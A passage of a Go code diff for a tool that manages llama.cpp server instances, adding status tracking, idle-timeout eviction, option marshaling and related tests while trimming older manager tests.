+			return fmt.Errorf("timeout waiting for instance %s to become healthy after %d seconds", i.Name, timeout)
+		case <-ticker.C:
+			if checkHealth() {
+				return nil // Instance is healthy
+			}
+			// Continue polling
+		}
+	}
+}
+
 func (i *Process) monitorProcess() {
 	defer func() {
 		i.mu.Lock()
@@ -155,12 +242,12 @@ func (i *Process) monitorProcess() {
 	i.mu.Lock()
 
 	// Check if the instance was intentionally stopped
-	if !i.Running {
+	if !i.IsRunning() {
 		i.mu.Unlock()
 		return
 	}
 
-	i.Running = false
+	i.SetStatus(Stopped)
 	i.logger.Close()
 
 	// Cancel any existing restart context since we're handling a new exit
@@ -185,6 +272,7 @@ func (i *Process) handleRestart() {
 	// Validate restart conditions and get safe parameters
 	shouldRestart, maxRestarts, restartDelay := i.validateRestartConditions()
 	if !shouldRestart {
+		i.SetStatus(Failed)
 		i.mu.Unlock()
 		return
 	}

pkg/instance/options.go

@@ -0,0 +1,141 @@
+package instance
+
+import (
+	"encoding/json"
+	"fmt"
+	"llamactl/pkg/backends"
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
+	"log"
+)
+
+type CreateInstanceOptions struct {
+	// Auto restart
+	AutoRestart  *bool `json:"auto_restart,omitempty"`
+	MaxRestarts  *int  `json:"max_restarts,omitempty"`
+	RestartDelay *int  `json:"restart_delay,omitempty"` // seconds
+	// On demand start
+	OnDemandStart *bool `json:"on_demand_start,omitempty"`
+	// Idle timeout
+	IdleTimeout *int `json:"idle_timeout,omitempty"` // minutes
+
+	BackendType    backends.BackendType `json:"backend_type"`
+	BackendOptions map[string]any       `json:"backend_options,omitempty"`
+
+	// LlamaServerOptions contains the options for the llama server
+	LlamaServerOptions *llamacpp.LlamaServerOptions `json:"-"`
+}
+
+// UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions
+func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
+	// Use anonymous struct to avoid recursion
+	type Alias CreateInstanceOptions
+	aux := &struct {
+		*Alias
+	}{
+		Alias: (*Alias)(c),
+	}
+
+	if err := json.Unmarshal(data, aux); err != nil {
+		return err
+	}
+
+	// Parse backend-specific options
+	switch c.BackendType {
+	case backends.BackendTypeLlamaCpp:
+		if c.BackendOptions != nil {
+			// Convert map to JSON and then unmarshal to LlamaServerOptions
+			optionsData, err := json.Marshal(c.BackendOptions)
+			if err != nil {
+				return fmt.Errorf("failed to marshal backend options: %w", err)
+			}
+
+			c.LlamaServerOptions = &llamacpp.LlamaServerOptions{}
+			if err := json.Unmarshal(optionsData, c.LlamaServerOptions); err != nil {
+				return fmt.Errorf("failed to unmarshal llama.cpp options: %w", err)
+			}
+		}
+	default:
+		return fmt.Errorf("unknown backend type: %s", c.BackendType)
+	}
+
+	return nil
+}
+
+// MarshalJSON implements custom JSON marshaling for CreateInstanceOptions
+func (c *CreateInstanceOptions) MarshalJSON() ([]byte, error) {
+	// Use anonymous struct to avoid recursion
+	type Alias CreateInstanceOptions
+	aux := struct {
+		*Alias
+	}{
+		Alias: (*Alias)(c),
+	}
+
+	// Convert LlamaServerOptions back to BackendOptions map for JSON
+	if c.BackendType == backends.BackendTypeLlamaCpp && c.LlamaServerOptions != nil {
+		data, err := json.Marshal(c.LlamaServerOptions)
+		if err != nil {
+			return nil, fmt.Errorf("failed to marshal llama server options: %w", err)
+		}
+
+		var backendOpts map[string]any
+		if err := json.Unmarshal(data, &backendOpts); err != nil {
+			return nil, fmt.Errorf("failed to unmarshal to map: %w", err)
+		}
+
+		aux.BackendOptions = backendOpts
+	}
+
+	return json.Marshal(aux)
+}
+
+// ValidateAndApplyDefaults validates the instance options and applies constraints
+func (c *CreateInstanceOptions) ValidateAndApplyDefaults(name string, globalSettings *config.InstancesConfig) {
+	// Validate and apply constraints
+	if c.MaxRestarts != nil && *c.MaxRestarts < 0 {
+		log.Printf("Instance %s MaxRestarts value (%d) cannot be negative, setting to 0", name, *c.MaxRestarts)
+		*c.MaxRestarts = 0
+	}
+
+	if c.RestartDelay != nil && *c.RestartDelay < 0 {
+		log.Printf("Instance %s RestartDelay value (%d) cannot be negative, setting to 0 seconds", name, *c.RestartDelay)
+		*c.RestartDelay = 0
+	}
+
+	if c.IdleTimeout != nil && *c.IdleTimeout < 0 {
+		log.Printf("Instance %s IdleTimeout value (%d) cannot be negative, setting to 0 minutes", name, *c.IdleTimeout)
+		*c.IdleTimeout = 0
+	}
+
+	// Apply defaults from global settings for nil fields
+	if globalSettings != nil {
+		if c.AutoRestart == nil {
+			c.AutoRestart = &globalSettings.DefaultAutoRestart
+		}
+		if c.MaxRestarts == nil {
+			c.MaxRestarts = &globalSettings.DefaultMaxRestarts
+		}
+		if c.RestartDelay == nil {
+			c.RestartDelay = &globalSettings.DefaultRestartDelay
+		}
+		if c.OnDemandStart == nil {
+			c.OnDemandStart = &globalSettings.DefaultOnDemandStart
+		}
+		if c.IdleTimeout == nil {
+			defaultIdleTimeout := 0
+			c.IdleTimeout = &defaultIdleTimeout
+		}
+	}
+}
+
+// BuildCommandArgs builds command line arguments for the backend
+func (c *CreateInstanceOptions) BuildCommandArgs() []string {
+	switch c.BackendType {
+	case backends.BackendTypeLlamaCpp:
+		if c.LlamaServerOptions != nil {
+			return c.LlamaServerOptions.BuildCommandArgs()
+		}
+	}
+	return []string{}
+}

pkg/instance/status.go

@@ -0,0 +1,70 @@
+package instance
+
+import (
+	"encoding/json"
+	"log"
+)
+
+// Enum for instance status
+type InstanceStatus int
+
+const (
+	Stopped InstanceStatus = iota
+	Running
+	Failed
+)
+
+var nameToStatus = map[string]InstanceStatus{
+	"stopped": Stopped,
+	"running": Running,
+	"failed":  Failed,
+}
+
+var statusToName = map[InstanceStatus]string{
+	Stopped: "stopped",
+	Running: "running",
+	Failed:  "failed",
+}
+
+func (p *Process) SetStatus(status InstanceStatus) {
+	oldStatus := p.Status
+	p.Status = status
+
+	if p.onStatusChange != nil {
+		p.onStatusChange(oldStatus, status)
+	}
+}
+
+func (p *Process) GetStatus() InstanceStatus {
+	return p.Status
+}
+
+// IsRunning returns true if the status is Running
+func (p *Process) IsRunning() bool {
+	return p.Status == Running
+}
+
+func (s InstanceStatus) MarshalJSON() ([]byte, error) {
+	name, ok := statusToName[s]
+	if !ok {
+		name = "stopped" // Default to "stopped" for unknown status
+	}
+	return json.Marshal(name)
+}
+
+// UnmarshalJSON implements json.Unmarshaler
+func (s *InstanceStatus) UnmarshalJSON(data []byte) error {
+	var str string
+	if err := json.Unmarshal(data, &str); err != nil {
+		return err
+	}
+
+	status, ok := nameToStatus[str]
+	if !ok {
+		log.Printf("Unknown instance status: %s", str)
+		status = Stopped // Default to Stopped on unknown status
+	}
+
+	*s = status
+	return nil
+}

pkg/instance/timeout.go

@@ -0,0 +1,28 @@
+package instance
+
+// UpdateLastRequestTime updates the last request access time for the instance via proxy
+func (i *Process) UpdateLastRequestTime() {
+	i.mu.Lock()
+	defer i.mu.Unlock()
+
+	lastRequestTime := i.timeProvider.Now().Unix()
+	i.lastRequestTime.Store(lastRequestTime)
+}
+
+func (i *Process) ShouldTimeout() bool {
+	i.mu.RLock()
+	defer i.mu.RUnlock()
+
+	if !i.IsRunning() || i.options.IdleTimeout == nil || *i.options.IdleTimeout <= 0 {
+		return false
+	}
+
+	// Check if the last request time exceeds the idle timeout
+	lastRequest := i.lastRequestTime.Load()
+	idleTimeoutMinutes := *i.options.IdleTimeout
+
+	// Convert timeout from minutes to seconds for comparison
+	idleTimeoutSeconds := int64(idleTimeoutMinutes * 60)
+
+	return (i.timeProvider.Now().Unix() - lastRequest) > idleTimeoutSeconds
+}

pkg/instance/timeout_test.go

@@ -0,0 +1,220 @@
+package instance_test
+
+import (
+	"llamactl/pkg/backends"
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/testutil"
+	"sync/atomic"
+	"testing"
+	"time"
+)
+
+// MockTimeProvider implements TimeProvider for testing
+type MockTimeProvider struct {
+	currentTime atomic.Int64 // Unix timestamp
+}
+
+func NewMockTimeProvider(t time.Time) *MockTimeProvider {
+	m := &MockTimeProvider{}
+	m.currentTime.Store(t.Unix())
+	return m
+}
+
+func (m *MockTimeProvider) Now() time.Time {
+	return time.Unix(m.currentTime.Load(), 0)
+}
+
+func (m *MockTimeProvider) SetTime(t time.Time) {
+	m.currentTime.Store(t.Unix())
+}
+
+// Timeout-related tests
+
+func TestUpdateLastRequestTime(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	options := &instance.CreateInstanceOptions{
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+
+	// Test that UpdateLastRequestTime doesn't panic
+	inst.UpdateLastRequestTime()
+}
+
+func TestShouldTimeout_NotRunning(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	idleTimeout := 1 // 1 minute
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+
+	// Instance is not running, should not timeout regardless of configuration
+	if inst.ShouldTimeout() {
+		t.Error("Non-running instance should never timeout")
+	}
+}
+
+func TestShouldTimeout_NoTimeoutConfigured(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	tests := []struct {
+		name        string
+		idleTimeout *int
+	}{
+		{"nil timeout", nil},
+		{"zero timeout", testutil.IntPtr(0)},
+		{"negative timeout", testutil.IntPtr(-5)},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			// Mock onStatusChange function
+			mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+			options := &instance.CreateInstanceOptions{
+				IdleTimeout: tt.idleTimeout,
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			}
+
+			inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+			// Simulate running state
+			inst.SetStatus(instance.Running)
+
+			if inst.ShouldTimeout() {
+				t.Errorf("Instance with %s should not timeout", tt.name)
+			}
+		})
+	}
+}
+
+func TestShouldTimeout_WithinTimeLimit(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	idleTimeout := 5 // 5 minutes
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+	inst.SetStatus(instance.Running)
+
+	// Update last request time to now
+	inst.UpdateLastRequestTime()
+
+	// Should not timeout immediately
+	if inst.ShouldTimeout() {
+		t.Error("Instance should not timeout when last request was recent")
+	}
+}
+
+func TestShouldTimeout_ExceedsTimeLimit(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	idleTimeout := 1 // 1 minute
+	options := &instance.CreateInstanceOptions{
+		IdleTimeout: &idleTimeout,
+		BackendType: backends.BackendTypeLlamaCpp,
+		LlamaServerOptions: &llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	// Mock onStatusChange function
+	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+	inst.SetStatus(instance.Running)
+
+	// Use MockTimeProvider to simulate old last request time
+	mockTime := NewMockTimeProvider(time.Now())
+	inst.SetTimeProvider(mockTime)
+
+	// Set last request time to now
+	inst.UpdateLastRequestTime()
+
+	// Advance time by 2 minutes (exceeds 1 minute timeout)
+	mockTime.SetTime(time.Now().Add(2 * time.Minute))
+
+	if !inst.ShouldTimeout() {
+		t.Error("Instance should timeout when last request exceeds idle timeout")
+	}
+}
+
+func TestTimeoutConfiguration_Validation(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	tests := []struct {
+		name            string
+		inputTimeout    *int
+		expectedTimeout int
+	}{
+		{"default value when nil", nil, 0},
+		{"positive value", testutil.IntPtr(10), 10},
+		{"zero value", testutil.IntPtr(0), 0},
+		{"negative value gets corrected", testutil.IntPtr(-5), 0},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			options := &instance.CreateInstanceOptions{
+				IdleTimeout: tt.inputTimeout,
+				BackendType: backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: &llamacpp.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			}
+
+			// Mock onStatusChange function
+			mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
+
+			inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
+			opts := inst.GetOptions()
+
+			if opts.IdleTimeout == nil || *opts.IdleTimeout != tt.expectedTimeout {
+				t.Errorf("Expected IdleTimeout %d, got %v", tt.expectedTimeout, opts.IdleTimeout)
+			}
+		})
+	}
+}

pkg/manager/manager.go

@@ -10,6 +10,7 @@ import (
 	"path/filepath"
 	"strings"
 	"sync"
+	"time"
 )
 
 // InstanceManager defines the interface for managing instances of the llama server.
@@ -20,7 +21,9 @@ type InstanceManager interface {
 	UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error)
 	DeleteInstance(name string) error
 	StartInstance(name string) (*instance.Process, error)
+	IsMaxRunningInstancesReached() bool
 	StopInstance(name string) (*instance.Process, error)
+	EvictLRUInstance() error
 	RestartInstance(name string) (*instance.Process, error)
 	GetInstanceLogs(name string) (string, error)
 	Shutdown()
@@ -29,22 +32,52 @@ type InstanceManager interface {
 type instanceManager struct {
 	mu               sync.RWMutex
 	instances        map[string]*instance.Process
+	runningInstances map[string]struct{}
 	ports            map[int]bool
 	instancesConfig  config.InstancesConfig
+
+	// Timeout checker
+	timeoutChecker *time.Ticker
+	shutdownChan   chan struct{}
+	shutdownDone   chan struct{}
+	isShutdown     bool
 }
 
 // NewInstanceManager creates a new instance of InstanceManager.
 func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager {
+	if instancesConfig.TimeoutCheckInterval <= 0 {
+		instancesConfig.TimeoutCheckInterval = 5 // Default to 5 minutes if not set
+	}
 	im := &instanceManager{
 		instances:        make(map[string]*instance.Process),
+		runningInstances: make(map[string]struct{}),
 		ports:            make(map[int]bool),
 		instancesConfig:  instancesConfig,
+
+		timeoutChecker: time.NewTicker(time.Duration(instancesConfig.TimeoutCheckInterval) * time.Minute),
+		shutdownChan:   make(chan struct{}),
+		shutdownDone:   make(chan struct{}),
 	}
 
 	// Load existing instances from disk
 	if err := im.loadInstances(); err != nil {
 		log.Printf("Error loading instances: %v", err)
 	}
+
+	// Start the timeout checker goroutine after initialization is complete
+	go func() {
+		defer close(im.shutdownDone)
+
+		for {
+			select {
+			case <-im.timeoutChecker.C:
+				im.checkAllTimeouts()
+			case <-im.shutdownChan:
+				return // Exit goroutine on shutdown
+			}
+		}
+	}()
+
 	return im
 }
 
@@ -92,17 +125,43 @@ func (im *instanceManager) persistInstance(instance *instance.Process) error {
 
 func (im *instanceManager) Shutdown() {
 	im.mu.Lock()
-	defer im.mu.Unlock()
 
-	var wg sync.WaitGroup
+	// Check if already shutdown
-	wg.Add(len(im.instances))
+	if im.isShutdown {
+		im.mu.Unlock()
+		return
+	}
+	im.isShutdown = true
 
+	// Signal the timeout checker to stop
+	close(im.shutdownChan)
+
+	// Create a list of running instances to stop
+	var runningInstances []*instance.Process
+	var runningNames []string
 	for name, inst := range im.instances {
-		if !inst.Running {
+		if inst.IsRunning() {
-			wg.Done() // If instance is not running, just mark it as done
+			runningInstances = append(runningInstances, inst)
-			continue
+			runningNames = append(runningNames, name)
+		}
 	}
 
+	// Release lock before stopping instances to avoid deadlock
+	im.mu.Unlock()
+
+	// Wait for the timeout checker goroutine to actually stop
+	<-im.shutdownDone
+
+	// Now stop the ticker
+	if im.timeoutChecker != nil {
+		im.timeoutChecker.Stop()
+	}
+
+	// Stop instances without holding the manager lock
+	var wg sync.WaitGroup
+	wg.Add(len(runningInstances))
+
+	for i, inst := range runningInstances {
 		go func(name string, inst *instance.Process) {
 			defer wg.Done()
 			fmt.Printf("Stopping instance %s...\n", name)
@@ -110,7 +169,7 @@ func (im *instanceManager) Shutdown() {
 			if err := inst.Stop(); err != nil {
 				fmt.Printf("Error stopping instance %s: %v\n", name, err)
 			}
-		}(name, inst)
+		}(runningNames[i], inst)
 	}
 
 	wg.Wait()
@@ -177,16 +236,20 @@ func (im *instanceManager) loadInstance(name, path string) error {
 		return fmt.Errorf("instance name mismatch: file=%s, instance.Name=%s", name, persistedInstance.Name)
 	}
 
+	statusCallback := func(oldStatus, newStatus instance.InstanceStatus) {
+		im.onStatusChange(persistedInstance.Name, oldStatus, newStatus)
+	}
+
 	// Create new inst using NewInstance (handles validation, defaults, setup)
-	inst := instance.NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions())
+	inst := instance.NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions(), statusCallback)
 
 	// Restore persisted fields that NewInstance doesn't set
 	inst.Created = persistedInstance.Created
-	inst.Running = persistedInstance.Running
+	inst.SetStatus(persistedInstance.Status)
 
 	// Check for port conflicts and add to maps
-	if inst.GetOptions() != nil && inst.GetOptions().Port > 0 {
+	if inst.GetPort() > 0 {
-		port := inst.GetOptions().Port
+		port := inst.GetPort()
 		if im.ports[port] {
 			return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port)
 		}
@@ -202,7 +265,7 @@ func (im *instanceManager) autoStartInstances() {
 	im.mu.RLock()
 	var instancesToStart []*instance.Process
 	for _, inst := range im.instances {
-		if inst.Running && // Was running when persisted
+		if inst.IsRunning() && // Was running when persisted
 			inst.GetOptions() != nil &&
 			inst.GetOptions().AutoRestart != nil &&
 			*inst.GetOptions().AutoRestart {
@@ -214,9 +277,20 @@ func (im *instanceManager) autoStartInstances() {
 	for _, inst := range instancesToStart {
 		log.Printf("Auto-starting instance %s", inst.Name)
 		// Reset running state before starting (since Start() expects stopped instance)
-		inst.Running = false
+		inst.SetStatus(instance.Stopped)
 		if err := inst.Start(); err != nil {
 			log.Printf("Failed to auto-start instance %s: %v", inst.Name, err)
 		}
 	}
 }
+
+func (im *instanceManager) onStatusChange(name string, oldStatus, newStatus instance.InstanceStatus) {
+	im.mu.Lock()
+	defer im.mu.Unlock()
+
+	if newStatus == instance.Running {
+		im.runningInstances[name] = struct{}{}
+	} else {
+		delete(im.runningInstances, name)
+	}
+}

pkg/manager/manager_test.go

@@ -1,15 +1,16 @@
 package manager_test
 
 import (
-	"encoding/json"
+	"fmt"
+	"llamactl/pkg/backends"
 	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/manager"
 	"os"
 	"path/filepath"
-	"reflect"
 	"strings"
+	"sync"
 	"testing"
 )
 
@@ -22,15 +23,16 @@ func TestNewInstanceManager(t *testing.T) {
 		DefaultAutoRestart:   true,
 		DefaultMaxRestarts:   3,
 		DefaultRestartDelay:  5,
+		TimeoutCheckInterval: 5,
 	}
 
-	manager := manager.NewInstanceManager(cfg)
+	mgr := manager.NewInstanceManager(cfg)
-	if manager == nil {
+	if mgr == nil {
 		t.Fatal("NewInstanceManager returned nil")
 	}
 
 	// Test initial state
-	instances, err := manager.ListInstances()
+	instances, err := mgr.ListInstances()
 	if err != nil {
 		t.Fatalf("ListInstances failed: %v", err)
 	}
@@ -39,479 +41,27 @@ func TestNewInstanceManager(t *testing.T) {
 	}
 }
 
-func TestCreateInstance_Success(t *testing.T) {
+func TestPersistence(t *testing.T) {
-	manager := createTestManager()
-
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	inst, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	if inst.Name != "test-instance" {
-		t.Errorf("Expected instance name 'test-instance', got %q", inst.Name)
-	}
-	if inst.Running {
-		t.Error("New instance should not be running")
-	}
-	if inst.GetOptions().Port != 8080 {
-		t.Errorf("Expected port 8080, got %d", inst.GetOptions().Port)
-	}
-}
-
-func TestCreateInstance_DuplicateName(t *testing.T) {
-	manager := createTestManager()
-
-	options1 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create first instance
-	_, err := manager.CreateInstance("test-instance", options1)
-	if err != nil {
-		t.Fatalf("First CreateInstance failed: %v", err)
-	}
-
-	// Try to create duplicate
-	_, err = manager.CreateInstance("test-instance", options2)
-	if err == nil {
-		t.Error("Expected error for duplicate instance name")
-	}
-	if !strings.Contains(err.Error(), "already exists") {
-		t.Errorf("Expected duplicate name error, got: %v", err)
-	}
-}
-
-func TestCreateInstance_MaxInstancesLimit(t *testing.T) {
-	// Create manager with low max instances limit
-	cfg := config.InstancesConfig{
-		PortRange:    [2]int{8000, 9000},
-		MaxInstances: 2, // Very low limit for testing
-	}
-	manager := manager.NewInstanceManager(cfg)
-
-	options1 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options3 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create instances up to the limit
-	_, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	_, err = manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	// This should fail due to max instances limit
-	_, err = manager.CreateInstance("instance3", options3)
-	if err == nil {
-		t.Error("Expected error when exceeding max instances limit")
-	}
-	if !strings.Contains(err.Error(), "maximum number of instances") && !strings.Contains(err.Error(), "limit") {
-		t.Errorf("Expected max instances error, got: %v", err)
-	}
-}
-
-func TestCreateInstance_PortAssignment(t *testing.T) {
-	manager := createTestManager()
-
-	// Create instance without specifying port
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	inst, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Should auto-assign a port in the range
-	port := inst.GetOptions().Port
-	if port < 8000 || port > 9000 {
-		t.Errorf("Expected port in range 8000-9000, got %d", port)
-	}
-}
-
-func TestCreateInstance_PortConflictDetection(t *testing.T) {
-	manager := createTestManager()
-
-	options1 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080, // Explicit port
-		},
-	}
-
-	options2 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model2.gguf",
-			Port:  8080, // Same port - should conflict
-		},
-	}
-
-	// Create first instance
-	_, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	// Try to create second instance with same port
-	_, err = manager.CreateInstance("instance2", options2)
-	if err == nil {
-		t.Error("Expected error for port conflict")
-	}
-	if !strings.Contains(err.Error(), "port") && !strings.Contains(err.Error(), "conflict") && !strings.Contains(err.Error(), "in use") {
-		t.Errorf("Expected port conflict error, got: %v", err)
-	}
-}
-
-func TestCreateInstance_MultiplePortAssignment(t *testing.T) {
-	manager := createTestManager()
-
-	options1 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create multiple instances and verify they get different ports
-	instance1, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	instance2, err := manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	port1 := instance1.GetOptions().Port
-	port2 := instance2.GetOptions().Port
-
-	if port1 == port2 {
-		t.Errorf("Expected different ports, both got %d", port1)
-	}
-}
-
-func TestCreateInstance_PortExhaustion(t *testing.T) {
-	// Create manager with very small port range
-	cfg := config.InstancesConfig{
-		PortRange:    [2]int{8000, 8001}, // Only 2 ports available
-		MaxInstances: 10,                 // Higher than available ports
-	}
-	manager := manager.NewInstanceManager(cfg)
-
-	options1 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options3 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Create instances to exhaust all ports
-	_, err := manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	_, err = manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	// This should fail due to port exhaustion
-	_, err = manager.CreateInstance("instance3", options3)
-	if err == nil {
-		t.Error("Expected error when ports are exhausted")
-	}
-	if !strings.Contains(err.Error(), "port") && !strings.Contains(err.Error(), "available") {
-		t.Errorf("Expected port exhaustion error, got: %v", err)
-	}
-}
-
-func TestDeleteInstance_PortRelease(t *testing.T) {
-	manager := createTestManager()
-
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  8080,
-		},
-	}
-
-	// Create instance with specific port
-	_, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Delete the instance
-	err = manager.DeleteInstance("test-instance")
-	if err != nil {
-		t.Fatalf("DeleteInstance failed: %v", err)
-	}
-
-	// Should be able to create new instance with same port
-	_, err = manager.CreateInstance("new-instance", options)
-	if err != nil {
-		t.Errorf("Expected to reuse port after deletion, got error: %v", err)
-	}
-}
-
-func TestGetInstance_Success(t *testing.T) {
-	manager := createTestManager()
-
-	// Create an instance first
-	options := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-	created, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Retrieve it
-	retrieved, err := manager.GetInstance("test-instance")
-	if err != nil {
-		t.Fatalf("GetInstance failed: %v", err)
-	}
-
-	if retrieved.Name != created.Name {
-		t.Errorf("Expected name %q, got %q", created.Name, retrieved.Name)
-	}
-}
-
-func TestGetInstance_NotFound(t *testing.T) {
-	manager := createTestManager()
-
-	_, err := manager.GetInstance("nonexistent")
-	if err == nil {
-		t.Error("Expected error for nonexistent instance")
-	}
-	if !strings.Contains(err.Error(), "not found") {
-		t.Errorf("Expected 'not found' error, got: %v", err)
-	}
-}
-
-func TestListInstances(t *testing.T) {
-	manager := createTestManager()
-
-	// Initially empty
-	instances, err := manager.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
-	if len(instances) != 0 {
-		t.Errorf("Expected 0 instances, got %d", len(instances))
-	}
-
-	// Create some instances
-	options1 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	options2 := &instance.CreateInstanceOptions{
-		LlamaServerOptions: llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	_, err = manager.CreateInstance("instance1", options1)
-	if err != nil {
-		t.Fatalf("CreateInstance 1 failed: %v", err)
-	}
-
-	_, err = manager.CreateInstance("instance2", options2)
-	if err != nil {
-		t.Fatalf("CreateInstance 2 failed: %v", err)
-	}
-
-	// List should return both
-	instances, err = manager.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
